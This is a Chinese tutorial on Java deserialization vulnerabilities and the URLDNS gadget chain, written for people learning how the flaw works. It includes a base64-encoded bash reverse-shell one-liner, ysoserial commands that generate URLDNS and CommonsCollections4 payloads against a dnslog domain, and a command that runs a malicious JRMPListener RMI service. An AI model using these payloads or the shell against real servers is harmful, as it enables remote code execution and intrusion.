Java反序列化初探+URLDNS链
摘要:什么是java反序列化&URLDNS链分析
<1> 什么是序列化/反序列化
序列化,其实就是将数据转化成一种可逆的数据结构,自然,它的逆过程就叫做反序列化。
目的: 方便数据的传输与存储
通常我们在编程的时候,我们需要将本地已经实例化的某个对象,通过网络传递到其他机器当中。为了满足这种需求,就有了所谓的序列化和反序列化
不同于php序列化对象 O:4:"test":2:{s:3:"str";s:5:"luoke";s:3:"int";i:10;} 是一串数据,Java序列化之后成了二进制文件 是 字节流
(1) 为什么会产生安全问题?
java反序列化漏洞的关键出现在 readObject 上,反序列化必定执行readObject方法,而在执行java.io.ObjectInputStream.readObject()之前,会先尝试执行 反序列化的类的 readObject方法,如果这个类重构了readObject方法,错误的调用了一些危险方法,则会造成漏洞。
只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力.
(2) 可能的形式
入口类的readObject直接调用危险方法
入口类参数中包含可控类,该类有危险方法,readObject时调用
入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用
比如类型定义为 Object, 调用equals/hashcode/toString 相同类型 同名函数
构造函数/静态代码块等类加载时隐式执行
(3) Java反序列化漏洞原因
Java中间件通常通过网络接收客户端发送的序列化数据,而在服务端对序列化数据进行反序列化时,会调用被序列化对象的readObject()方法.而在Java中如果重写了某个类的方法,就会优先调用经过修改后的方法.如果某个对象重写了readObject()方法,且在方法中能够执行任意代码,那服务端在进行反序列化时,也会执行相应代码
<2> java序列化与反序列化
(1) 前置基础知识
需要跳出PHP反序列化的思想:
在php中序列化是将对象等转换成了字符串,而在Java中则是转换成了字节流
序列化/反序列化是一种思想,并不局限于其实现的形式
如:
JAVA内置的writeObject()/readObject()
JAVA内置的XMLDecoder()/XMLEncoder
XStream
SnakeYaml
FastJson
Jackson
出现过漏洞的组件:
Apache Shiro
Apache Axis
Weblogic
Jboss
Fastjson
Java中的命令执行
1 | public static void main() throws Exception{ |
注意:这里的命令执行,并不是使用系统中的bash或是cmd进行的系统命令执行,而是使用JAVA本身,所以反弹shell的重定向符在JAVA中并不支持
1 | bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTI3LjAuMC4xLzU1NTUgMD4mMQ==}|{base64,-d}{bash,-i} |
(2) 编写一个可以序列化的类
在Java当中,如果一个类需要被序列化和反序列化 ,需要实现java.io.Serializable接口
也就是让他 implements Serializeable
同时,被transient修饰的属性也不参与序列化过程
1 | package test; |
IDEA里支持 Alt+insert 导入相应的包
Ctrl+click 跟进java.io.Serializable接口
1 | public interface Serializable { |
发现是一个空接口,说明其作用只是为了在序列化和反序列化中做了一个类型判断.为什么呢?因为需要遵循非必要原则,不需要反序列化的类就可以不用序列化了
(3) 如何序列化类
Java原生实现了一套序列化的机制,它让我们不需要额外编写代码,只需要实现java.io.Serializable接口,并调用ObjectOutputStream类的writeObject方法即可
1 | package test; |
跟进writeObject函数,我们通过阅读他的注释可知:
在反序列化的过程当中,是针对对象本身,而非针对类的,因为静态属性是不参与序列化和反序列化的过程的.另外,如果属性本身声明了transient关键字,也会被忽略.但是如果某对象继承了A类,那么A类当中的对象的对象属性也是会被序列化和反序列化的(前提是A类也实现了java.io.Serializable接口)

(4) 如何反序列化类
序列化使用ObjectOutPutStream类,反序列化使用的则是ObjectInputStream类的readObject方法.
由于我们在之前在Person类中重写了readObject方法,所以会调用java.lang.Runtime类的exec方法执行calc命令
1 | private void readObject(ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException, IOException { |
1 | package test; |
执行,弹出来了计算器,,,

同时,我们unserialize.java里, Person person = (Person) ois.readObject(); 成功讲unserialize.java里的 实例化的person对象接收了过来。
(5) serialVersionUID讲解
序列化和反序列化可以理解为压缩和解压缩,但是压缩之所以能被解压缩的前提是因为他俩的协议是一样的.如果压缩是以四个字节为一个单位,而解压缩以八个字节为一个单位,就会乱套
同样在Java中与协议相对的概念为:serialVersionUID
当serialVersionUID不一致时,反序列化会直接抛出异常
比如设置为2L时序列化,修改为1L时反序列化,则会抛出异常

<3> java反序列化利用(ysoserial)
Java反序列化和php相同的是,php反序列化通过POP链最终要找到一个落脚点(RCE),这个落脚点一般都是开发自己写的。java通过gadget也要找一个落脚点,而这个落脚点在java标准库和一些常用库就有
ysoserial上就集成了各种常用gadget,其中最简单的就是URLDNS
工具下载地址:https://github.com/frohoff/ysoserial
用法:java -jar ysoserial.jar 就可以看到有哪些gadget,它们适合的扩展库或者JDK版本

假设上面演示生成的 ser.ser这个文件路径我们可控,我们可以构造出一个恶意反序列化文件,来进行DNS查询
去DNSlog申请一个域名:http://dnslog.cn/java -jar ysoserial.jar URLDNS "http://1bvloh.dnslog.cn" > ser.ser

然后替换掉ser.ser,执行
1 | import java.io.FileInputStream; |

绝大部分反序列化漏洞都是这样生成payload并利用的,只不过ser.ser可能需要经过复杂编码,或者藏在RMI服务中使用。
比如:更常用的CommonsCollections4。java -jar ysoserial.jar CommonsCollections4 "ping dnslog.cn"
起一个恶意RMI服务,一旦有人连接它,就发送恶意反序列化字节的payloadjava -cp ysoserial.jar ysoserial.exploit.JRMPListener 5555 CommonsCollections4 " ping dnslog.cn "
接下我们通过对URLDNS的分析来了解具体是如何造成危害的
<4> URLDNS链分析
URLDNS链是java原生态的一条利用链, 通常用于存在反序列化漏洞进行验证的,因为是原生态,不存在什么版本限制.
HashMap结合URL触发DNS检查的思路.在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行.之后再用各种gadget去尝试RCE.
HashMap最早出现在JDK 1.2中, 底层基于散列算法实现.而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的.所以对于同一个Key, 在不同的JVM实现中计算得出的Hash值可能是不同的.因此,HashMap实现了自己的writeObject和readObject方法
链子利用思路:
首先找到Sink:发起DNS请求的URL类hashCode方法
看谁能调用URL类的hashCode方法(找gadget),发现HashMap行(他重写了hashCode方法,执行了Map里面key的hashCode方法,HashMap而key的类型可以是URL类),而且HashMap的readObject方法直接调用了hashCode方法
EXP的思路就是创建一个HashMap,往里面丢一个URL当key,然后序列化它
在反序列化的时候自然就会执行HashMap的readObject->hashCode->URL的hashCode->DNS请求
Hashmap类
对于HashMap这个类来说,他重载了readObject函数,我们知道,而在服务端对序列化数据进行反序列化时,会调用被序列化对象的readObject()方法。
这里先看看在重载的逻辑中,看看有没有可以利用的地方。
跟进 查看一下readObject方法: 我们可以看到它重新计算了key的Hash

再次跟进hash函数,我们可以看到,它调用了key的hashcode函数,因此,如果要构造一条反序列化链条,我们需要找到实现了hashcode函数且传参可控,并且可被我们利用的类
而可以被我们利用的类就是下面的URLDNS

URLDNS类
查看一下URL类的hashCode()函数。发现当hashCode不是-1,则会调用URLStreamHandler抽象类的hashCode()函数。这显然是为了只算一次hash,而handler是什么呢?

找到URLStreamHandler这个抽象类,查看它的hashcode实现,调用了getHostAddress函数,传参可控

跟进 查看getHostAddress函数,可以发现它进行了DNS查询,将域名转换为实际的IP地址。参数u是this 也就是URL对象

到这了,我们也就不用继续往下跟进了。 URL类的hashCode()方法可以进行DNS查询,而Hashmap类 重写的readObject方法可以调用 key.hashCode()。 我们可以通过Hashmap的put方法控制key为URL类 构造hashmap对象序列化,这样反序列化的时候就可以实现DNS查询。
1 | public V put(K key, V value) { |
链子如下:HashMap.readObject()->HashMap.hash()->URL.hashCode()->URLStreamHandler.hashCode()->URLStreamHandler.getHostAddress()
漏洞利用代码:
1 | package urldns; |
生成ser.ser文件之后 反序列化调用
1 | package urldns; |
在 dnslog.cn 处成功收到响应

为什么 new出来了URL类实例url,还需要用反射机制呢?因为反射更灵活 URL类里 hashCode是private属性,无法直接设置,但是可以通过反射来设置。
通过反射的方式,先将url对象的hashCode设置为1,这样在hashmap.put(url,22)的时候可以跳过DNS查询,put URL和22 url实例赋给了hashmap的key,再通过反射将url对象的hashCode设置为-1,然后讲hashmap对象序列化写入二进制文件ser.ser,最终反序列化的时候进行了DNS查询 注:hashmap的key和 url对象指向的是同一对象,因此我们后面再通过反射将url对象的hashCode设置为-1时,hashmap里key(URL对象)的hashCode也会变成-1.

参考:
https://mp.weixin.qq.com/s/TCgHuK2qLIVRxnc6_mqx_Q
https://mp.weixin.qq.com/s/t81n92VPzqy6liEYOAgzNw
Java反序列化初探+URLDNS链

